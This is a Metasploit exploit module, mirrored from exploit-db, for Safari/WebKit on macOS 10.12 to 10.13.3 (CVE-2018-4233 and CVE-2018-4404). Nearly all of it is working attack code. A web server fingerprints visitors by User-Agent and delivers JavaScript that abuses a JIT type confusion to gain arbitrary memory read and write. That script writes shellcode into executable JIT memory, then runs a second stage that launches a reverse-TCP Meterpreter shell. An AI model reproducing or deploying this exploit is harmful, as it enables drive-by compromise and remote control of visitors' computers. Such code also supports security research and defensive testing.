Safari – Proxy Object Type Confusion (Metasploit)

  • 作者: Metasploit
    日期: 2018-12-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45998/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ManualRanking
    
    include Msf::Exploit::EXE
    include Msf::Exploit::Remote::HttpServer
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Safari Proxy Object Type Confusion',
    'Description'=> %q{
    This module exploits a type confusion bug in the Javascript Proxy object in
    WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
    it is possible to run arbitrary JS code during the execution of a CreateThis
    operation. This makes it possible to change the structure of e.g. an argument
    without causing a bailout, leading to a type confusion (CVE-2018-4233).
    
    The JIT region is then replaced with shellcode which loads the second stage.
    The second stage exploits a logic error in libxpc, which uses command execution
    via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
    },
    'License'=> MSF_LICENSE,
    'Author' => [ 'saelo' ],
    'References' => [
    ['CVE', '2018-4233'],
    ['CVE', '2018-4404'],
    ['URL', 'https://github.com/saelo/cve-2018-4233'],
    ['URL', 'https://github.com/saelo/pwn2own2018'],
    ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
    ],
    'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
    'Platform' => 'osx',
    'DefaultTarget'=> 0,
    'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
    'Targets'=> [
    [ 'Python payload',{ 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
    [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
    ],
    'DisclosureDate' => 'Mar 15 2018'))
    register_advanced_options([
    OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
    ])
    end
    
    def offset_table
    {
    '10.12.6' => {
    :jsc_vtab => '0x0000d8d8',
    :dyld_stub_loader => '0x00001168',
    :dlopen => '0x000027f7',
    :confstr => '0x00002c84',
    :strlen => '0x00001b40',
    :strlen_got => '0xdc0',
    },
    '10.13' => {
    :jsc_vtab => '0x0000e5f8',
    :dyld_stub_loader => '0x000012a8',
    :dlopen => '0x00002e60',
    :confstr => '0x000024fc',
    :strlen => '0x00001440',
    :strlen_got => '0xee8',
    },
    '10.13.3' => {
    :jsc_vtab => '0xe5e8',
    :dyld_stub_loader => '0x1278',
    :dlopen => '0x2e30',
    :confstr => '0x24dc',
    :strlen => '0x1420',
    :strlen_got => '0xee0',
    },
    }
    end
    
    def exploit_data(directory, file)
    path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
    ::File.binread path
    end
    
    def stage1_js
    stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
    "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
    end
    
    def stage2_js
    stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
    payload_cmd = payload.raw
    if target['Arch'] == ARCH_PYTHON
    payload_cmd = "echo \"#{payload_cmd}\" | python"
    end
    placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
    stage2[placeholder_index, payload_cmd.length] = payload_cmd
    "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
    end
    
    def get_offsets(user_agent)
    if user_agent =~ /Intel Mac OS X (.*?)\)/
    version = $1.gsub("_", ".")
    mac_osx_version = Gem::Version.new(version)
    if mac_osx_version >= Gem::Version.new('10.13.4')
    print_warning "macOS version #{mac_osx_version} is not vulnerable"
    elsif mac_osx_version < Gem::Version.new('10.12')
    print_warning "macOS version #{mac_osx_version} is not vulnerable"
    elsif offset_table.key?(version)
    offset = offset_table[version]
    return <<-EOF
    const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
    const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
    const DLOPEN_OFFSET = #{offset[:dlopen]};
    const CONFSTR_OFFSET = #{offset[:confstr]};
    const STRLEN_OFFSET = #{offset[:strlen]};
    const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
    EOF
    else
    print_warning "No offsets for version #{mac_osx_version}"
    end
    else
    print_warning "Unexpected User-Agent"
    end
    return false
    end
    
    def on_request_uri(cli, request)
    user_agent = request['User-Agent']
    print_status("Request from #{user_agent}")
    offsets = get_offsets(user_agent)
    unless offsets
    send_not_found(cli)
    return
    end
    
    utils = exploit_data "CVE-2018-4233", "utils.js"
    int64 = exploit_data "CVE-2018-4233", "int64.js"
    html = %Q^
    <html>
    <body>
    <script>
    #{stage1_js}
    stage1.replace = function(oldVal, newVal) {
    for (var idx = 0; idx < this.length; idx++) {
    var found = true;
    for (var j = idx; j < idx + 8; j++) {
    if (this[j] != oldVal.byteAt(j - idx)) {
    found = false;
    break;
    }
    }
    if (found)
    break;
    }
    this.set(newVal.bytes(), idx);
    };
    #{stage2_js}
    #{utils}
    #{int64}
    #{offsets}
    
    var ready = new Promise(function(resolve) {
    if (typeof(window) === 'undefined')
    resolve();
    else
    window.onload = function() {
    resolve();
    }
    });
    
    ready = Promise.all([ready]);
    
    print = function(msg) {
    //console.log(msg);
    //document.body.innerText += msg + '\\n';
    }
    
    // Must create this indexing type transition first,
    // otherwise the JIT will deoptimize later.
    var a = [13.37, 13.37];
    a[0] = {};
    
    var referenceFloat64Array = new Float64Array(0x1000);
    
    //
    // Bug: the DFG JIT does not take into account that, through the use of a
    // Proxy, it is possible to run arbitrary JS code during the execution of a
    // CreateThis operation. This makes it possible to change the structure of e.g.
    // an argument without causing a bailout, leading to a type confusion.
    //
    
    //
    // addrof primitive
    //
    function setupAddrof() {
    function InfoLeaker(a) {
    this.address = a[0];
    }
    
    var trigger = false;
    var leakme = null;
    var arg = null;
    
    var handler = {
    get(target, propname) {
    if (trigger)
    arg[0] = leakme;
    return target[propname];
    },
    };
    var InfoLeakerProxy = new Proxy(InfoLeaker, handler);
    
    for (var i = 0; i < 100000; i++) {
    new InfoLeakerProxy([1.1, 2.2, 3.3]);
    }
    
    trigger = true;
    
    return function(obj) {
    leakme = obj;
    arg = [1.1, 1.1];
    var o = new InfoLeakerProxy(arg);
    return o.address;
    };
    }
    
    //
    // fakeobj primitive
    //
    function setupFakeobj() {
    function ObjFaker(a, address) {
    a[0] = address;
    }
    
    var trigger = false;
    var arg = null;
    
    var handler = {
    get(target, propname) {
    if (trigger)
    arg[0] = {};
    return target[propname];
    },
    };
    var ObjFakerProxy = new Proxy(ObjFaker, handler);
    
    for (var i = 0; i < 100000; i++) {
    new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
    }
    
    trigger = true;
    
    return function(address) {
    arg = [1.1, 1.1];
    var o = new ObjFakerProxy(arg, address);
    return arg[0];
    };
    }
    
    function makeJITCompiledFunction() {
    // Some code to avoid inlining...
    function target(num) {
    for (var i = 2; i < num; i++) {
    if (num % i === 0) {
    return false;
    }
    }
    return true;
    }
    
    // Force JIT compilation.
    for (var i = 0; i < 1000; i++) {
    target(i);
    }
    for (var i = 0; i < 1000; i++) {
    target(i);
    }
    for (var i = 0; i < 1000; i++) {
    target(i);
    }
    return target;
    }
    
    function pwn() {
    // Spray Float64Array structures so that structure ID 0x1000 will
    // be a Float64Array with very high probability
    var structs = [];
    for (var i = 0; i < 0x1000; i++) {
    var a = new Float64Array(1);
    a['prop' + i] = 1337;
    structs.push(a);
    }
    
    // Setup exploit primitives
    var addrofOnce = setupAddrof();
    var fakeobjOnce = setupFakeobj();
    
    // (Optional) Spray stuff to keep the background GC busy and increase reliability even further
    /*
    var stuff = [];
    for (var i = 0; i < 0x100000; i++) {
    stuff.push({foo: i});
    }
    */
    
    var float64MemView = new Float64Array(0x200);
    var uint8MemView = new Uint8Array(0x1000);
    
    // Setup container to host the fake Float64Array
    var jsCellHeader = new Int64([
    00, 0x10, 00, 00, // m_structureID
    0x0,// m_indexingType
    0x2b, // m_type
    0x08, // m_flags
    0x1 // m_cellState
    ]);
    
    var container = {
    jsCellHeader: jsCellHeader.asJSValue(),
    butterfly: null,
    vector: float64MemView,
    length: (new Int64('0x0001000000001337')).asJSValue(),
    mode: {}, // an empty object, we'll need that later
    };
    
    // Leak address and inject fake object
    // RawAddr == address in float64 form
    var containerRawAddr = addrofOnce(container);
    var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
    print("[+] Fake Float64Array @ " + fakeArrayAddr);
    
    ///
    /// BEGIN CRITICAL SECTION
    ///
    /// Objects are corrupted, a GC would now crash the process.
    /// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
    ///
    var driver = fakeobjOnce(fakeArrayAddr.asDouble());
    while (!(driver instanceof Float64Array)) {
    jsCellHeader.assignAdd(jsCellHeader, Int64.One);
    container.jsCellHeader = jsCellHeader.asJSValue();
    }
    
    // Get some addresses that we'll need to repair our objects. We'll abuse the .mode
    // property of the container to leak addresses.
    driver[2] = containerRawAddr;
    var emptyObjectRawAddr = float64MemView[6];
    container.mode = referenceFloat64Array;
    var referenceFloat64ArrayRawAddr = float64MemView[6];
    
    // Fixup the JSCell header of the container to make it look like an empty object.
    // By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
    driver[2] = emptyObjectRawAddr;
    var header = float64MemView[0];
    driver[2] = containerRawAddr;
    float64MemView[0] = header;
    
    // Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
    // Also set the mode: make it look like an OversizeTypedArray for easy GC survival
    // (see JSGenericTypedArrayView<Adaptor>::visitChildren).
    driver[2] = referenceFloat64ArrayRawAddr;
    var header = float64MemView[0];
    var length = float64MemView[3];
    var mode = float64MemView[4];
    driver[2] = containerRawAddr;
    float64MemView[2] = header;
    float64MemView[3] = 0;
    float64MemView[5] = length;
    float64MemView[6] = mode;
    
    // Root the container object so it isn't garbage collected.
    // This will allocate a butterfly for the fake object and store a reference to the container there.
    // The fake array itself is rooted by the memory object (closures).
    driver.container = container;
    
    ///
    /// END CRITICAL SECTION
    ///
    /// Objects are repaired, we will now survive a GC
    ///
    if (typeof(gc) !== 'undefined')
    gc();
    
    memory = {
    read: function(addr, length) {
    driver[2] = memory.addrof(uint8MemView).asDouble();
    float64MemView[2] = addr.asDouble();
    var a = new Array(length);
    for (var i = 0; i < length; i++)
    a[i] = uint8MemView[i];
    return a;
    },
    
    write: function(addr, data) {
    driver[2] = memory.addrof(uint8MemView).asDouble();
    float64MemView[2] = addr.asDouble();
    for (var i = 0; i < data.length; i++)
    uint8MemView[i] = data[i];
    },
    
    read8: function(addr) {
    driver[2] = addr.asDouble();
    return Int64.fromDouble(float64MemView[0]);
    },
    
    write8: function(addr, value) {
    driver[2] = addr.asDouble();
    float64MemView[0] = value.asDouble();
    },
    
    addrof: function(obj) {
    float64MemView.leakme = obj;
    var butterfly = Int64.fromDouble(driver[1]);
    return memory.read8(Sub(butterfly, 0x10));
    },
    };
    
    print("[+] Got stable memory read/write!");
    
    // Find binary base
    var funcAddr = memory.addrof(Math.sin);
    var executableAddr = memory.read8(Add(funcAddr, 24));
    var codeAddr = memory.read8(Add(executableAddr, 24));
    var vtabAddr = memory.read8(codeAddr);
    var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
    print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
    var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
    print("[*] JavaScriptCore.dylib @ " + jscBase);
    
    var dyldStubLoaderAddr = memory.read8(jscBase);
    var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
    var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
    var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
    print("[*] dyld.dylib @ " + dyldBase);
    print("[*] libsystem_c.dylib @ " + libCBase);
    
    var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
    print("[*] confstr @ " + confstrAddr);
    var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
    print("[*] dlopen @ " + dlopenAddr);
    
    // Patching shellcode
    var stage2Addr = memory.addrof(stage2);
    stage2Addr = memory.read8(Add(stage2Addr, 16));
    print("[*] Stage 2 payload @ " + stage2Addr);
    
    stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
    stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
    stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
    stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
    print("[+] Shellcode patched");
    
    // Leak JITCode pointer poison value
    var poison_addr = Add(jscBase, 305152);
    print("[*] Poison value @ " + poison_addr);
    var poison = memory.read8(poison_addr);
    print("[*] Poison value: " + poison);
    
    // Shellcode
    var func = makeJITCompiledFunction();
    var funcAddr = memory.addrof(func);
    print("[+] Shellcode function object @ " + funcAddr);
    var executableAddr = memory.read8(Add(funcAddr, 24));
    print("[+] Executable instance @ " + executableAddr);
    var jitCodeAddr = memory.read8(Add(executableAddr, 24));
    print("[+] JITCode instance @ " + jitCodeAddr);
    
    var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
    var codeAddr = Xor(codeAddrPoisoned, poison);
    print("[+] RWX memory @ " + codeAddr.toString());
    print("[+] Writing shellcode...");
    var origCode = memory.read(codeAddr, stage1.length);
    memory.write(codeAddr, stage1);
    
    print("[!] Jumping into shellcode...");
    var res = func();
    if (res === 0) {
    print("[+] Shellcode executed sucessfully!");
    } else {
    print("[-] Shellcode failed to execute: error " + res);
    }
    
    memory.write(codeAddr, origCode);
    print("[*] Restored previous JIT code");
    
    print("[+] We are done here, continuing WebContent process as if nothing happened =)");
    if (typeof(gc) !== 'undefined')
    gc();
    }
    
    ready.then(function() {
    try {
    pwn();
    } catch (e) {
    print("[-] Exception caught: " + e);
    }
    }).catch(function(err) {
    print("[-] Initializatin failed");
    });
    
    </script>
    </body>
    </html>
    ^
    unless datastore['DEBUG_EXPLOIT']
    html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
    end
    send_response(cli, html, {'Content-Type'=>'text/html'})
    end
    
    end